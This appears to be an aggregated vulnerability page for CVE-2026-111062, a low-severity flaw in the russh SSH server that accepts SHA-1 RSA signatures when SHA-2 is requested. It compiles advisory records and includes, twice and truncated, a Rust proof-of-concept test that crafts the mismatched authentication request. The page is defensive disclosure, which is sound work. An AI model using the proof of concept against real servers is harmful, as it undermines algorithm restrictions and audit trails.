CVE-2026-111062
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
2.3
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
CVE-2026-111062- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-05
EUVDEUVD-2026-117796
2.3
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
EUVD-2026-117796- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-05
GitHub AdvisoriesGHSA-j7h2-66j4-ghjf
2.3
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Details
In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):
- The requested algorithm name (
pubkey_algo) is read and only used to decode the key:PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derivedhash_algis then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }). - The signature blob is decoded (
Signature::decode) and verified withVerifier::verify(&pubkey, &buf, &sig).ssh-keypicks the hash from the signature's own algorithm (sig.algorithm()). pubkey_algoandsig.algorithm()are never compared.
So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.
Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
- Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (
pubkey.set_algorithm(algo_)), then verifies. - From 0.47/0.48 (move to
ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, laterSignature::decode) and verified with it.
Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.
PoC
A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.
- Check out russh 0.63.3, or
main. - Paste the code below inside
mod tests { ... }ofrussh/src/server/encrypted.rs. - Run
cargo test --lib poc_sha1.
// ---- PoC: signature algorithm not checked against the requested one ----
/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
authenticated: bool,
}
impl Handler for AcceptAnyKey {
type Error = Error;
async fn auth_publickey_offered(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
Ok(Auth::Accept)
}
async fn auth_publickey(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
self.authenticated = true;
Ok(Auth::Accept)
}
}
/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
user: &str,
private_key: Arc<PrivateKey>,
announced: &str,
hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
let mut packet = Vec::new();
packet.push(msg::USERAUTH_REQUEST);
user.encode(&mut packet).unwrap();
"ssh-connection".encode(&mut packet).unwrap();
"publickey".encode(&mut packet).unwrap();
1u8.encode(&mut packet).unwrap();
announced.encode(&mut packet).unwrap();
private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();
let mut signed = Vec::new();
CryptoVec::new().as_ref().encode(&mut signed).unwrap();
signed.extend_from_slice(&packet);
let signature =
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
signature.encode(&mut packet).unwrap();
packet
}
#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
let…
- Record
GHSA-j7h2-66j4-ghjf- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
2.3
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
CVE-2026-111062- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-347
- Updated
- 2026-11-05
OSV
2.3
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
CVE-2026-111062- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-07
OSVDEBIAN-CVE-2026-111062
2.3
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
DEBIAN-CVE-2026-111062- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-07
OSVGHSA-j7h2-66j4-ghjf
2.3
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Details
In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):
- The requested algorithm name (
pubkey_algo) is read and only used to decode the key:PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derivedhash_algis then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }). - The signature blob is decoded (
Signature::decode) and verified withVerifier::verify(&pubkey, &buf, &sig).ssh-keypicks the hash from the signature's own algorithm (sig.algorithm()). pubkey_algoandsig.algorithm()are never compared.
So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.
Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
- Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (
pubkey.set_algorithm(algo_)), then verifies. - From 0.47/0.48 (move to
ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, laterSignature::decode) and verified with it.
Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.
PoC
A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.
- Check out russh 0.63.3, or
main. - Paste the code below inside
mod tests { ... }ofrussh/src/server/encrypted.rs. - Run
cargo test --lib poc_sha1.
// ---- PoC: signature algorithm not checked against the requested one ----
/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
authenticated: bool,
}
impl Handler for AcceptAnyKey {
type Error = Error;
async fn auth_publickey_offered(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
Ok(Auth::Accept)
}
async fn auth_publickey(
&mut self,
_user: &str,
_public_key: &PublicKey,
) -> Result<Auth, Self::Error> {
self.authenticated = true;
Ok(Auth::Accept)
}
}
/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
user: &str,
private_key: Arc<PrivateKey>,
announced: &str,
hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
let mut packet = Vec::new();
packet.push(msg::USERAUTH_REQUEST);
user.encode(&mut packet).unwrap();
"ssh-connection".encode(&mut packet).unwrap();
"publickey".encode(&mut packet).unwrap();
1u8.encode(&mut packet).unwrap();
announced.encode(&mut packet).unwrap();
private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();
let mut signed = Vec::new();
CryptoVec::new().as_ref().encode(&mut signed).unwrap();
signed.extend_from_slice(&packet);
let signature =
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
signature.encode(&mut packet).unwrap();
packet
}
#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
let…
- Record
GHSA-j7h2-66j4-ghjf- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-111062
2.3
russh is a Rust SSH client and server library. From version 0.34.0-beta.1 until version 0.64.0, its SSH server does not require the signature algorithm in a public-key authentication signature to match the algorithm named in the authentication request. A client possessing an authorized RSA private key can announce rsa-sha2-512 while supplying a valid ssh-rsa SHA-1 signature, bypassing restrictions or producing misleading audit records when applications rely on the requested algorithm. A valid private-key signature remains required, and russh clients are not affected. This issue is fixed in version 0.64.0.
- Record
UBUNTU-CVE-2026-111062- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-07
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
russhcrates.io |
0.34.0-beta.1 up to 0.64.0 | 0.64.0 |
rust-russhDebian:14 |
before 0.64.1-1, plus listed versions 0.57.1-10.57.1-2 |
0.64.1-1 |
rust-russhUbuntu:26.10 |
All versions, plus listed versions 0.57.1-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, references | OSV | |
| affected, aliases, references | OSV | |
| references | NVD, OSV | |
| aliases | EUVD | |
| references | CVE List | |
| description, facts, products, references, severity | CVE List | |
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-111062 is a low vulnerability (CVSS 2.3) in Eugeny Russh, published October 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 29th percentile. Fixed in russh 0.64.0.
References
github.com/Eugeny/russh/security/advisories/GHSA-j7h2-66j4-ghjf
github.com/Eugeny/russh/pull/759
github.com/Eugeny/russh/commit/a0ded76bdc352f8fbeaaeb175fb2a0c586fbc8f2
github.com/Eugeny/russh/releases/tag/v0.64.0
github.com/advisories/GHSA-j7h2-66j4-ghjf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/111xxx/CVE-2026-111062.json
Left out here: the rest of 2 source descriptions. The JSON record has them.